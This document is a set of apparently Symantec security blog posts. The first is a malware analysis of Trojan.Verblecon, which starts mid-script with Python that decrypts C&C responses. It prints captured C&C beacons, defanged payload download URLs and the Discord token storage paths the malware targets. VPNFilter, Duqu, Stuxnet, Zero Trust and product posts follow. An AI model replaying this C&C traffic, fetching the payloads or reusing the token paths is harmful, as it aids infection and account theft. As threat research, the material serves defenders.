aes_iv = b"FjP2PQfztKZ7vKxL"
rsa_certificate = "MIIFazCCA1OgAwIBAgIUQDUa4ddMSiYJ+8dB2v1yF6kfWsQwDQYJKoZIhvcNAQELBQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0yMDA3MjMxODIxMzdaFw0yMDA4MjIxODIxMzdaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDeWLWJkfkpeRy9Bw7OIkJCQs7cO06qrD5vgFNI9p47cVYyf0NH5FuqX41veoTTBe+iA/77j1L/ffO5qCBFkct/d7YpNsCDjfoqjoL6T6GJ5WGPU/9uR7GctoXoESUdq03TYw8GttIq25EyyWUfjsNL/iljVomiffAJTKkcnOKnA0NYgrWmgxghiJGNXwHbYau9NH7hAthYZcBUxzWqTS8hCI2fupQ14yoAwU0YlYpL5XtmzkCpK0qCU++G5fPr0utTp8qnKTFExwI4oFt6Umj4Z13P1EUQRetSPKva7JpNq00UVOketKFnawu99VJx1SIsQWOZ6BvOLS7QYIBdiblFzHaXxZ0ndbVTFMcSC9G3HroVlTAMWgtkZiiZr3LpuX0U1s7e+uqvkZxw+dggIfkEdKA0p2iayu80MEBJvZoyFY/11ugyaOhDlFtVlQ8rqc40IkgfM9RmxeuAhAdQfhpxaPLV/5v1OyGsG1fKETSNTVaxMlbGUsY1LwNvXeF576P9YEHpDgSg4zeWec7xrc6WWY2A5TZnyt2Pzd4G8oOjgtFHV0ZqqU8ogEizZEZ5Fs3mAi3N4N7FCrjf0QygQuksvbfi8Iim8DGmkMXzCihnN3suLOP4noWSrPfxEblY1QPiS+WK9y4kVtsJl/seohbI1P7XCUrdESvKxgBK6ziy6QIDAQABo1MwUTAdBgNVHQ4EFgQUfakZej+WCNaJNFfZ/2V2Yn9e0h8wHwYDVR0jBBgwFoAUfakZej+WCNaJNFfZ/2V2Yn9e0h8wDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEARQEHcfMK2hM77F6ua/o+Y9NGE4QsFuUtGKVT/hPXF3wJuq7rpkdk8G8bksMrCBFg+XhlYM8pyTvrpqunl5Dgoew1niuwlNI2fXOsXpUSu1Gtu+5zU3gsjisnOexWZwQjBJINPzLHpsM9GrBSJXl97x50mBzkjwDU7uhNN8mfQ47GOqsZSnrUhOVIdZo7cnfmDjsSiJ3XIv122zGQCwgvHTCKctpF+hwm5IuJ+9BfAh3zTuqJ/VPkJrnKoW0dx/uaJOqSW3sjWHlIV1QRm+sRk5cGhUvIn8gU0P84rgzDcqNJC0+0GEuX/MbGzjf2nu4ow6SXNziCb4Jb4DN9YN83qXpvJC+TI0097t/3ZuZhPPuaPWpjuhMNmBafT8ImLs96VSbv7ps50lFn0R94KXNKlYJH4mncQiZo4YPEQ6WpcVjhoTR06cbAu7WgSrVMSk6CBTWjjbGLg7p579qn+Yskk4OxWB3kzig7You+z0nM2dwrQAKz3yztK7bVEsgPT/eoLjnvkKnwIkN5hwQZNXUigO/1HKcTgGFz1A8dG+qXd7ZGCoxJ7vRab1vxzMdO7VDaJJXJUUrwVZVR/xBt2Xg0yfHWQ10oiK4z9aI1F/YMhI1I3rbUAjVySLyzZSSkz2/6xQZRtcEWbrFbBI9ko8Kb752poOKybEvmM6sE33J4dvk="
def disect_response(body):
decoded_body = base64.b64decode(body)
cipher = Crypto.Cipher.AES.new(aes_key, Crypto.Cipher.AES.MODE_CBC, IV=aes_iv)
decrypted_body = cipher.decrypt(decoded_body)
signed_message = Crypto.Util.Padding.unpad(decrypted_body, cipher.block_size)
message, signature = signed_message.rsplit(b"@")
print("message:", message)
print("signature:", signature)
rsa_public_key = Crypto.PublicKey.RSA.import_key(base64.b64decode(rsa_certificate))
rsa_verifier = Crypto.Signature.pkcs1_15.PKCS115_SigScheme(rsa_public_key)
message_hash = Crypto.Hash.SHA256.new(message)
rsa_verifier.verify(message_hash, base64.b64decode(signature))
print("signature verification: PASS")
disect_response("J2dHYN2DE/N7JQj5ZdxyMVjISfLstuKFQjzMhEcxqaTQvAb3hpYZXlGHMn3mSoG3++twgiJEAjadSFco/P7qgd9mZz+4rzTksF23RJ0BsTRzH7Z2tAF0b62gwh+jTVgeupvenZoqw1+h/YKaF/lknZ11Cp5dgVKe9mxifc1b7t2FpTeqYMhT5NoyoWx/99mxyBt9OSDzJviK3fhJq+yhCDsZ3TWsYdZBAU2q0gQGYbmGT1w1DSbF+bcZ3rL47RHBKK2+NpkKmVMSoaL2d6SyGxom++MEiwIRTkhVtewxZPuXOeJ9AbZ9VqEnBo+77T3x7sxgX19PO8z9Rdbp7uHJ/8HLXEZcQnHjHBbRPQQcCFH5R/XNLmIHjaRApikb8QuRVJAVdDmNnpRpExWIbZ7k0R6AjiPDkuIAK+bj3v11HnQbVxIDBj9/GUI6XZDVACnSyUkeNprXB+FyC/ppfwwzyvtHj/BTyAX5UFfeghFym7qRa3UxZxw5H/PTukCPkdquEw/zXdlEf6hj0/2GNXHIhamrXeJ8WPfpsnHhgYaSHi83CKE6y2WMUdrCxeXgdvUg5sD6qyqrIiP+VLQeN22gIKuGlE1lh2Mm2JcrnHKq6P2G9fu2E6ZzoKL8N8KfuzCc8JqTGHVhjCDkSEgUCT8iXbvI6VqScV3vZ1Irc5Gd1T6w2NF4wd2zsRWAO7s+0aFCcKsFv0MHkYNpZPWdOX+tTgJZFigbsJ/IOHXSyxfUN0MLeEDEAbR9ymFB3uU9bbfeNlUWlVJxenLRtQLHxJDXQFBugRfFM0nJVxPIZHWcj22dlnyrqYUIX5Q8X8qNsXkz64DsrTBXMa52LrgeKDKNrQw+7Xpat5601VXUM80CVIfwhmmC5LiLP9ef0NuuDtkMDiX8KQdAWlMknOq8N0Z2TxKnznlCoJ27f0VSCVYD/3iepe5f+8EPD3Ob7CPOs0zB")
The malware then starts communicating with the decoded URL by sending details about the infected computer:
POST /mafia/login.php HTTP/1.1
User-Agent: VerbleConnectTM
Content-Type: application/x-www-form-urlencoded
charset: utf-8
Cache-Control: no-cache
Pragma: no-cache
Host: gaymers.ax
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 291
id=il~aSS_3ZNaXHMGXLExSyzp6xMrxMB7zCw1zFndLA87jjqd0tPsFqY31LF65YGEt&os=5i1E5v8J8fUqwpvNWkN6QQ&pv=6qWqTXHlWudJmSz_fuWcBA&ip=VfseCVZvINz5rCbXun59pfGFCSmrpUXBVtrqt_4REs8&cn=QN9v6e3VlZM1oosbryBr~7DoU95gMv4JDw68m35voF0&lr=ZrXBJ3IJZ5ymR2zc1~faVQ&ct=GOi8TbTvN6vucG76f8fCGg&bv=tdCMf_RP_QPO3xfcoRGJww
The request body contains the following information about the infected machine in encrypted form:
"id" is [INFECTION_ID
"os" is OS version, e.g. "Windows 10"
"pv" is "Admin" when running with Administrator privileges
"ip" is JAR pathname
"cn" is "[USER_NAME]@[COMPUTERNAME]"
"lr" has value "00:00:00"
"ct" has value "0"
"bv" has value "v1.0.0"
The server has been observed to respond as follows:
HTTP/1.1 200 OK
Date: Fri, 28 Jan 2022 21:29:26 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="hxxps://report-uri[.]cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"hxxps:\/\/a.nel.cloudflare[.]com\/report\/v3?s=JE2u6s575flQq%2BEumTamotRln2IsYdLgqtQHy0tGJwQp9tuxhWThqxtCzsMG6vVgc%2Fa76jGYsP8hb68S3hKu8Q5lm6H2iIYElyVHw4WOcGSLqi%2FLR6AX5RcYlsXd"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6d4d50f69c993a8d-CDG
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
98
Rc0OiT8tzq68CmJ7bi0SMLtCQQH8bjxlid0OONwvn+x9g2ku8Ocfx+lT+TZXBzLC9/K7hJ/efOYWz9e1HC3KrRkQoh3OTZezXIOhJ6gTRPiLeqDgCGT79FcFqm7SFEDPHl1NpR14dl/6R92VwKZE/A==
0
Where the response body can be decrypted as follows:
newtask:1:Mw==:YUhSMGNITTZMeTlxYjI1aGRHaGhibWhoY21SM2FXTnJMbTFsTDJoaGNtUjNhV05yTG1waGNuNXpkR0Z5ZEE9PQ==
The last term above contains the following string:
hxxps://jonathanhardwick[.]me/hardwick.jar~start
Some samples of the malware are seen communicating with the following servers:
gaymers[.]ax
6f3af6ffb074513b51bba688a0b41df7[.]tk
Communication between the malware and servers is over HTTP or HTTPS and this communication appears to culminate with victims being directed to connect to the following:
POST /mafia/login.php HTTP/1.1
User-Agent: VerbleConnectTM
Content-Type: application/x-www-form-urlencoded
charset: utf-8
Cache-Control: no-cache
Pragma: no-cache
Host: gaymers.ax
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 291
id=il~aSS_3ZNaXHMGXLExSyzp6xMrxMB7zCw1zFndLA87jjqd0tPsFqY31LF65YGEt&os=5i1E5v8J8fUqwpvNWkN6QQ&pv=6qWqTXHlWudJmSz_fuWcBA&ip=VfseCVZvINz5rCbXun59p
The payload is downloaded from the URL observed earlier:
hxxps://jonathanhardwick[.]me/hardwick.jar
The payload is obfuscated in a similar way to the other samples, and also contains similar techniques to detect the virtualization environment, as well as other functionality.
The core functionality is to download and execute a binary blob from the following URL:
hxxps://jonathanhardwick[.]me/hardwick.bin
The blob is decrypted along with *.bin artifacts from the same host. The downloaded blob is then cached on the local filesystem (in re-encrypted form) and injected into %Windows%\SysWow64\dllhost.exe for execution.
The injection is performed using com.sun.jna and doesn't use usual APIs for injection.
The final payload (hardwick.bin) contains the following embedded URL pointing to a configuration file for a cryptocurrency miner:
hxxps://jonathanhardwick[.]me/config[.]txt
This indicates that the purpose of this activity was to install cryptocurrency mining software on victim machines.
What is the goal of this campaign?
The evidence found on victim networks appears to indicate that the goal of the attacker was to install cryptocurrency mining software on victim machines. This would appear to be a relatively low-reward goal for the attacker given the level of effort that would have been required to develop this sophisticated malware.
There are also indications that the attacker may be stealing Discord tokens and using these to advertise Trojanized videogame applications.
We suspect they were stealing Discord tokens because some of the obfuscated strings refer to pathnames that are apparently related to Discord clients, specifically:
"AppData\Roaming\discordcanary\Local Storage\leveldb"
"AppData\Roaming\discordptb\Local Storage\leveldb"
"Library\Application Support\discord\Local Storage\leveldb"
"Library\Application Support\discordcanary\Local Storage\leveldb"
"Library\Application Support\discordptb\Local Storage\leveldb"
".config\discordcanary\Local Storage\leveldb"
".config\discordptb\Local Storage\leveldb"
Discord is a group chatting app that is particularly popular among the gaming community. Advertising Trojanized videogame applications via Discord is likely a redistribution channel for Trojan.Verblecon.
Could this be used to distribute ransomware?
Most of the infections we saw where this malware was used were on non-enterprise machines; we rarely see ransomware deployed on non-enterprise machines.
Previous reports have connected related domains to a single occurrence of ransomware, but the infrastructure may be shared with an unrelated actor. The similarities between that incident and the activity we observed includes:
The use of “verble” in the domain name
The downloading of shellcode for execution
Similar obfuscation
However, we do not have enough evidence to draw a definitive link between both these sets of activity.
Power in the hands of an inexperienced actor?
The activity we have seen carried out using this sophisticated loader indicates that it is being wielded by an individual who may not realize the capabilities of the malware they are using. However, if it fell into the hands of a more sophisticated actor the potential is there for this loader to be used for more serious attacks, including potentially ransomware and espionage campaigns.
Protection
File-based
Trojan.Verblecon
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise (IoCs)
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
32a9415daa7f37a93dd0b347461844673c0f5baf0c15c01ee48b147dadf28299
3688c249774cc9a28d2b9b316921cec842bb087c57f4733cf5866226fbe2aeed
5a4f6332ad08b35c055bb5e6dfddc79d2f7905e63fac7595efbedd0b27f12eb8
007f5898c52c3aa1c3dca6d3a30f28f5f72d9789fbb440ae656d88959f68e53e
f3f4af5f5eae1a28ad5a01b56d71302a265bce17d2c87ce731edf440612818a6
hxxp://verble[.]software/styles.jar
hxxps://jonathanhardwick[.]me/hardwick.jar
hxxps://jonathanhardwick[.]me/hardwick.bin
hxxps://jonathanhardwick[.]me/config.txt
hxxp://test.verble[.]rocks/dorflersaladreviews.jar
hxxp://test.verble[.]rocks/dorflersaladreviews.bin
|
Verification and Zero Trust: I Hear You Knocking But Can I Let You In?
Symantec provides strategies to help balance competing needs for security, convenience, and affordability
One of the biggest problems with digital communication is the illusion that it has taken place with the correct person. Symantec, as a division of Broadcom, believes digital communications are based on trust. Applications trust that the person requesting access or giving commands is actually authorized to do so, but that isn’t always the case. Credentials and legitimate sessions are easily stolen and compromised, which is why the first tenet of Zero Trust is to verify every user and every device requesting access.
So, is authentication the solution to addressing the first tenet of Zero Trust? Yes and no. Authentication plays a critical role in addressing this tenet of Zero Trust, but it is not the whole answer.
Authentication: 2FA or not 2FA…that is the question.
The role of authentication is to positively identify a legitimate user from a fraudulent one. For many years, passwords were the de facto standard, and in many areas, they are still the preferred method to authenticate users.
Over the years, many new technologies and protocols have been introduced to strengthen the authentication process and address a basic set of challenges:
How can we make the authentication stronger (more accurately identify legitimate users from fraudulent ones)?
How can we make stronger authentication convenient (easy enough for anyone to use with minimal friction)?
How can we do this in a cost-effective manner (doesn’t break the bank)?
Multifactor authentication is, of course, the obvious answer. But almost every organization uses multiple authentication mechanisms. Different applications and resources have different security requirements and altering the types of login credentials and processes gives organizations flexibility and makes it harder for hackers to penetrate.
Mobile apps, web sites, and IoT devices still require users to enter a password more than any other credential. And while some organizations are leveraging a transparent key or token that is working under the covers as a two-factor credential, to the end user, they are just entering a password.
Even so-called “password-less authentication” isn’t password-less. It may be password-less for the organization – they are not storing passwords -- but it’s not for the users. So, does this really make the login any more secure?
Real-time Analytics to the Rescue
In 2005, financial institutions pioneered the incorporation of User and Entity Behavior Analytics (UEBA) within the authentication and authorization process. They found that risk analytics provided that balance they were seeking among the competing needs for security, convenience and affordability.
By analyzing specific data at login or at payment, they could estimate the likelihood that the transaction was legitimate or not. This contextual risk analysis is now incorporated within most authentication mechanisms and processes, and it has proven to be just as effective in helping other enterprises balance when to apply stronger authentication mechanisms to their users.
However, there are some fundamental differences in how UEBA has been applied both within banking and payments, and how it is being applied within other enterprises, and these differences have an impact on achieving Zero Trust.
Truth Data
In the payments area, the transaction is an isolated event. When users enter their card information the card issuer collects all the relevant data about the transaction and runs its analysis and determines risk. In this way, it is very much like an authentication.
There is one huge difference: the payments industry has a secret weapon, and it’s called truth data.
This is one area where analytics needs to be improved, because authentication is just a first step.
When transactions are deemed fraudulent, they are removed from the customer’s bill. But that is not the end of it. In the background, fraud analysts at the credit card company log into the risk analytics system, pull up this specific transaction, and mark it as fraud. This is truth data. The machine learning being used to create the risk models can leverage this information to become a little smarter.
For the authentication process, users may have access to the same types of information, but they never receive this truth data. This is one area where analytics needs to be improved, because authentication is just a first step. After login, users interact with each other’s applications and this activity also needs to be monitored and analyzed because more data is needed to understand usage and behavior patterns.
Next Steps in Authentication
As users move from on-prem applications to cloud applications, or elevate their access to a privileged account, they may have multiple access management solutions protecting their access but none of these silos are sharing information. To detect and mitigate sophisticated attacks, users need to be able to freely share the risk data across the entire user session, so that it can be analyzed in real-time because users and devices are requesting access on a continuous basis.
In today’s world, where users can work from anywhere on any device, enterprises need to adopt a Zero Trust model and Symantec Zero Trust Security provides the breadth of solutions to address the first, and every pillar of Zero Trust.
Symantec Identity Security Overview
|
Visibility Gaps Leave Even the Best-Configured Networks Open to Endpoint Attacks
It's a race against time, but companies equipped with a real-time intelligence gathering process can retake the initiative from attackers
When it comes to assembling an accurate picture of what’s happening in their environment, security practitioners are in a daily race against time to take action as quickly as possible.
While retaining persistent policy-based management is still important, successful defenses nowadays need to gather up additional information as needed from their endpoints in seconds. It just won’t do any more in many cases to wait hours, days - or longer - to find out which machines might be at risk for a vulnerability by missing patches or a specific configuration.
Not only are attacks increasing in intensity but they’re more and more targeted - which puts a premium on reducing latency in data collection so that organizations can respond appropriately. In my experience, however, we often see customer environments that take as long as three to four weeks to get new patches rolled out, and in some cases endpoints that are not VPN or LAN connected are missed.
Any delay creates needless risk and this process can be streamlined, automated and done in a compressed timeframe. In today’s security landscape, organizations face a constant stream of new threats with the potential to inflict incalculable damage - as demonstrated by the WannaCry attack in 2017. Although the patch for WannaCry was already available months in advance of the attack, the ransomware attack wreaked havoc globally because so many organizations around the world had failed to upload the patch issued by Microsoft. The upshot: Billions of dollars in subsequent damages and reputation.
All the more reason why IT operations needs access to this kind of real-time intelligence in addition to the information in their CMDB in order to respond in a timely fashion to these anomalies. WannaCry is a great example since it was very targeted and needed to be dealt with right away. There was no time to wait for the system to report back in a day or two later and then wait for the patch cycle to occur.
This task is only getting more complex as organizations find themselves managing completely heterogeneous environments where employees work with any number of different types of devices, including Windows, Mac, and mobile, while accessing myriad cloud applications in the course of doing their jobs.
For the people who are responsible for configuration management and IT operations, this adds obstacles in the way of getting a clear view of what devices are running which versions of what OS and Software. More than ever, they need to make sure that their systems are running up-to-date patches and that all of the company’s endpoints are protected with the latest and greatest.
Enhancements to ITMS
This is where the new version of Symantec’s IT Management Suite (ITMS) will make a major difference. With this latest release, we’re rolling out several enhancements that will help make IT’s task of managing and thus securing their endpoints easier and more efficient. Here’s a look at some what’s new:
Customers can now collect data on-demand and in real-time. The upshot is more flexibility and greater visibility for administrators as they manage their IT environments.
ITMS’ integration with Symantec Endpoint Protection helps block and quarantine any endpoints failing to pass compliance scans, a weapon that organizations can deploy to protect themselves against attacks from ransomware and other dangerous threats.
Scan endpoints based on vulnerabilities and then automatically deliver patches to endpoints for automated remediation.
Symantec is providing updated and modernized UI workspaces. The streamlined look is easier to use from any browser and doesn’t require technicians to undergo special training to carry out daily tasks and utilize the power of ITMS.
Helping the Move to Consolidation
The design work that went into our updated version of ITMS also addresses another increasingly familiar pain point: Most customers nowadays tend to use several different cyber security vendors. That’s both expensive and increasingly unwieldy.
Having to go to three or four different tools makes security more challenging than it needs to be. This is an additional area where we can help by bringing these features together in a consolidated package that integrates with Symantec Endpoint Protection and Control Compliance Suites. That reflects our overarching philosophy, which is to provide best-in-breed remediation abilities as part of an integrated cyber-defense posture.
In practice, our Integrated Cyber Defense Management Platform means faster pre-detection, remediation, detection mitigation and response for any issues that occur. Importantly, customers can now acquire these important use cases in a consolidated platform. It’s a significant step towards toward helping them manage the security of increasingly heterogeneous endpoint environments.
We think it’s a big deal. Here’s where you can find out more about ITMS 8.5.:
Symantec IT Management Suite
Data Sheet
Release Notes
Product Documentation
|
VPNFilter: New Router Malware with Destructive Capabilities
Unlike most other IoT threats, malware can survive reboot.
UPDATE: September 26, 2018:
This blog has been updated to include new information that was released by Cisco Talos on seven new Stage 3 modules. For further details see below.
UPDATE: June 6, 2018:
This blog has been updated to include new information that was released by Cisco Talos. This includes an expanded list of vulnerable devices and details on a newly discovered stage 3 module known as “ssler” which could permit the attackers to perform man-in-the-middle (MitM) attacks on traffic going through vulnerable routers and allow them to intercept web traffic and insert malicious code into it. For further details see below.
A new threat which targets a range of routers and network-attached storage (NAS) devices is capable of knocking out infected devices by rendering them unusable. The malware, known as VPNFilter, is unlike most other IoT threats because it is capable of maintaining a persistent presence on an infected device, even after a reboot. VPNFilter has a range of capabilities including spying on traffic being routed through the device. Its creators appear to have a particular interest in SCADA industrial control systems, creating a module which specifically intercepts Modbus SCADA communications.
According to new research from Cisco Talos, activity surrounding the malware has stepped up in recent weeks and the attackers appear to be particularly interested in targets in Ukraine. While VPNFilter has spread widely, data from Symantec's honeypots and sensors indicate that unlike other IoT threats such as Mirai, it does not appear to be scanning and indiscriminately attempting to infect every vulnerable device globally.
Q: What devices are known to be affected by VPNFilter?
A: To date, VPNFilter is known to be capable of infecting enterprise and small office/home office routers from Asus, D-Link, Huawei, Linksys, MikroTik, Netgear, TP-Link, Ubiquiti, Upvel, and ZTE, as well as QNAP network-attached storage (NAS) devices. These include:
Asus RT-AC66U
Asus RT-N10
Asus RT-N10E
Asus RT-N10U
Asus RT-N56U
Asus RT-N66U
D-Link DES-1210-08P
D-Link DIR-300
D-Link DIR-300A
D-Link DSR-250N
D-Link DSR-500N
D-Link DSR-1000
D-Link DSR-1000N
Huawei HG8245
Linksys E1200
Linksys E2500
Linksys E3000
Linksys E3200
Linksys E4200
Linksys RV082
Linksys WRVS4400N
MikroTik CCR1009
MikroTik CCR1016
MikroTik CCR1036
MikroTik CCR1072
MikroTik CRS109
MikroTik CRS112
MikroTik CRS125
MikroTik RB411
MikroTik RB450
MikroTik RB750
MikroTik RB911
MikroTik RB921
MikroTik RB941
MikroTik RB951
MikroTik RB952
MikroTik RB960
MikroTik RB962
MikroTik RB1100
MikroTik RB1200
MikroTik RB2011
MikroTik RB3011
MikroTik RB Groove
MikroTik RB Omnitik
MikroTik STX5
Netgear DG834
Netgear DGN1000
Netgear DGN2200
Netgear DGN3500
Netgear FVS318N
Netgear MBRN3000
Netgear R6400
Netgear R7000
Netgear R8000
Netgear WNR1000
Netgear WNR2000
Netgear WNR2200
Netgear WNR4000
Netgear WNDR3700
Netgear WNDR4000
Netgear WNDR4300
Netgear WNDR4300-TN
Netgear UTM50
QNAP TS251
QNAP TS439 Pro
Other QNAP NAS devices running QTS software
TP-Link R600VPN
TP-Link TL-WR741ND
TP-Link TL-WR841N
Ubiquiti NSM2
Ubiquiti PBE M5
Upvel Devices -unknown models
ZTE Devices ZXHN H108N
Q: How does VPNFilter infect affected devices?
A: Most of the devices targeted are known to use default credentials and/or have known exploits, particularly for older versions. There is no indication at present that the exploit of zero-day vulnerabilities is involved in spreading the threat.
Q: What does VPNFilter do to an infected device?
A: VPNFilter is a multi-staged piece of malware. Stage 1 is installed first and is used to maintain a persistent presence on the infected device and will contact a command and control (C&C) server to download further modules.
Stage 2 contains the main payload and is capable of file collection, command execution, data exfiltration, and device management. It also has a destructive capability and can effectively “brick” the device if it receives a command from the attackers. It does this by overwriting a section of the device’s firmware and rebooting, rendering it unusable.
There are several known Stage 3 modules, which act as plugins for Stage 2. These include a packet sniffer for spying on traffic that is routed through the device, including theft of website credentials and monitoring of Modbus SCADA protocols. Another Stage 3 module allows Stage 2 to communicate using Tor.
A newly discovered (disclosed on June 6) Stage 3 module known as “ssler” is capable of intercepting all traffic going through the device via port 80, meaning the attackers can snoop on web traffic and also tamper with it to perform man-in-the-middle (MitM) attacks. Among its features is the capability to change HTTPS requests to ordinary HTTP requests, meaning data that is meant to be encrypted is sent insecurely. This can be used to harvest credentials and other sensitive information from the victim’s network. The discovery of this module is significant since it provides the attackers with a means of moving beyond the router and on to the victim’s network.
A fourth Stage 3 module known as “dstr” (disclosed on June 6) adds a kill command to any Stage 2 module which lacks this feature. If executed, dstr will remove all traces of VPNFilter before bricking the device.
Details on seven more Stage 3 modules were released on September 26, 2018. These include:
“htpx”: Similar to ssler, it redirects and inspects all HTTP traffic transmitted through the infected device to identify and log any Windows executables. This may be used to Trojanize executables as they pass through infected routers, providing attackers with a way of installing malware on computers connected to the same network.
“ndbr”: A multi-function SSH tool.
“nm”: A network mapping tool which can be used to scan and map the local subnet.
“netfilter”: A denial of service utility which may be used to block access to some encrypted applications.
“portforwarding”: Module which forwards network traffic to attacker-specified infrastructure.
“socks5proxy”: Module to enable establishment of a SOCKS5 proxy on compromised devices.
“tcpvpn”: Allows establishment of a Reverse-TCP VPN on compromised devices, enabling remote attacker to access internal networks behind infected devices.
Q: What should I do if I’m concerned my router is infected?
Concerned users are advised to use Symantec's free online tool to help check if their router is impacted by VPNFilter. This also includes instructions on what to do if the router is infected.
Q: What do the attackers intend to do with VPNFilter’s destructive capability?
A: This is currently unknown. One possibility is using it for disruptive purposes, by bricking a large number of infected devices. Another possibility is more selective use to cover up evidence of attacks.
Q: Do Symantec/Norton products (Win/Mac/NMS) protect against this threat?
A: Symantec and Norton products detect the threat as Linux.VPNFilter.
Acknowledgement: Symantec wishes to thank Cisco Talos and the Cyber Threat Alliance for sharing information on this threat in advance of publication.
UPDATE: Netgear is advising customers that, in addition to applying the latest firmware updates and changing default passwords, users should ensure that remote management is turned off on their router. Remote management is turned off by default and can only be turned on using the router's advanced settings. To turn it off, they should go to www.routerlogin.net in their browser and log in using their admin credentials. From there, they should click "Advanced" followed by "Remote Management". If the check box for "Turn Remote Management On" is selected, clear it and click "Apply" to save changes.
UPDATE May 24, 2018: The FBI has announced that it has taken immediate action to disrupt the VPNFilter, securing a court order, authorizing it to seize a domain that is part of the malware's C&C infrastructure.
Meanwhile, Linksys is advising customers to change administration passwords periodically and ensure software is regularly updated. If they believe they have been infected, a factory reset of their router is recommended. Full instructions can be found here.
MikroTik has said that it is highly certain that any of its devices infected by VPNFilter had the malware installed through a vulnerability in MikroTik RouterOS software, which was patched by MikroTik in March 2017. Upgrading RouterOS software deletes VPNFilter, any other third-party files and patches the vulnerability.
UPDATE May 25, 2018: QNAP has published a security advisory on VPNFilter. It contains guidance on how to use the company’s malware removal tool to remove any infections.
|
W32.Duqu: The Precursor to the Next Stuxnet
Malware likely written by Stuxnet authors.
On October 14, 2011, a research lab with strong international connections alerted us to a sample that appeared to be very similar to Stuxnet. They named the threat "Duqu" [dyü-kyü] because it creates files with the file name prefix “~DQ”. The research lab provided us with samples recovered from computer systems located in Europe, as well as a detailed report with their initial findings, including analysis comparing the threat to Stuxnet, which we were able to confirm. Parts of Duqu are nearly identical to Stuxnet, but with a completely different purpose.
Duqu is essentially the precursor to a future Stuxnet-like attack. The threat was written by the same authors (or those that have access to the Stuxnet source code) and appears to have been created since the last Stuxnet file was recovered. Duqu's purpose is to gather intelligence data and assets from entities, such as industrial control system manufacturers, in order to more easily conduct a future attack against another third party. The attackers are looking for information such as design documents that could help them mount a future attack on an industrial control facility.
Duqu does not contain any code related to industrial control systems and is primarily a remote access Trojan (RAT). The threat does not self-replicate. Our telemetry shows the threat was highly targeted toward a limited number of organizations for their specific assets. However, it’s possible that other attacks are being conducted against other organizations in a similar manner with currently undetected variants.
The attackers used Duqu to install another infostealer that could record keystrokes and gain other system information. The attackers were searching for assets that could be used in a future attack. In one case, the attackers did not appear to successfully exfiltrate any sensitive data, but details are not available in all cases. Two variants were recovered, and in reviewing our archive of submissions, the first recording of one of the binaries was on September 1, 2011. However, based on file compile times, attacks using these variants may have been conducted as early as December 2010.
One of the variant’s driver files was signed with a valid digital certificate that expires August 2, 2012. The digital certificate belongs to a company headquartered in Taipei, Taiwan. The certificate was revoked on October 14, 2011.
Duqu uses HTTP and HTTPS to communicate with a command-and-control (C&C) server that at the time of writing is still operational. The attackers were able to download additional executables through the C&C server, including an infostealer that can perform actions such as enumerating the network, recording keystrokes, and gathering system information. The information is logged to a lightly encrypted and compressed local file, which then must be exfiltrated out.
The threat uses a custom C&C protocol, primarily downloading or uploading what appear to be JPG files. However, in addition to transferring dummy JPG files, additional data for exfiltration is encrypted and sent, and likewise received. Finally, the threat is configured to run for 36 days. After 36 days, the threat will automatically remove itself from the system.
Duqu shares a great deal of code with Stuxnet; however, the payload is completely different. Instead of a payload designed to sabotage an industrial control system, the payload has been replaced with general remote access capabilities. The creators of Duqu had access to the source code of Stuxnet, not just the Stuxnet binaries. The attackers intend to use this capability to gather intelligence from a private entity to aid future attacks on a third party. While suspected, no similar precursor files have been recovered that predate the Stuxnet attacks.
You can find additional details in our paper here. The research lab that originally found the sample has allowed us to share their initial report as an appendix. We expect to make further updates over the coming days.
Key points:
Executables using the Stuxnet source code have been discovered. They appear to have been developed since the last Stuxnet file was recovered.
The executables are designed to capture information such as keystrokes and system information.
Current analysis shows no code related to industrial control systems, exploits, or self-replication.
The executables have been found in a limited number of organizations, including those involved in the manufacturing of industrial control systems.
The exfiltrated data may be used to enable a future Stuxnet-like attack.
Note: At press time we have recovered additional variants from an additional organization in Europe with a compilation time of October 17, 2011. These variants have not yet been analyzed. More information will follow.
Update [October 18, 2011] - Symantec has known that some of the malware files associated with the W32.Duqu threat were signed with private keys associated with a code signing certificate issued to a Symantec customer. Symantec revoked the customer certificate in question on October 14, 2011. Our investigation into the key’s usage leads us to the conclusion that the private key used for signing Duqu was stolen, and not fraudulently generated for the purpose of this malware. At no time were Symantec’s roots and intermediate CAs at risk, nor were there any issues with any CA, intermediate, or other VeriSign or Thawte brands of certificates. Our investigation shows zero evidence of any risk to our systems; we used the correct processes to authenticate and issue the certificate in question to a legitimate customer in Taiwan.
|
W32.Stuxnet Dossier
Symantec paper includes technical details about components and data structures, as well as host of other information.
We’re pleased to announce that we’ve compiled the results of many weeks of fast-paced analysis of Stuxnet into a white paper entitled the W32.Stuxnet Dossier. On top of finding elements we described in the ongoing Stuxnet summer blog series, you will find all technical details about the threat’s components and data structures, as well as high-level information, including:
Attack scenario and timeline
Infection statistics
Malware architecture
Description of all the exported routines
Injection techniques and anti-AV
The RPC component
Propagation methods
Command and control feature
The PLC infector
The paper is scheduled to be delivered at the Virus Bulletin 2010 conference and can be downloaded here.
Our investigations into Stuxnet started on July 13 of this year when the Symantec Security Response team began a journey full of surprises, wrong turns, frustrating moments, and moments of validation. Virusblokada, a security company in Belarus, announced they found a new interesting malware sample using an unpatched vulnerability to spread to removable drives and much of the media focused on the zero-day vulnerability. However, there was much more. Soon people began describing a threat now known as Stuxnet as a tool for cyber espionage stealing design data for industrial control systems, such as gas pipelines and power plants.
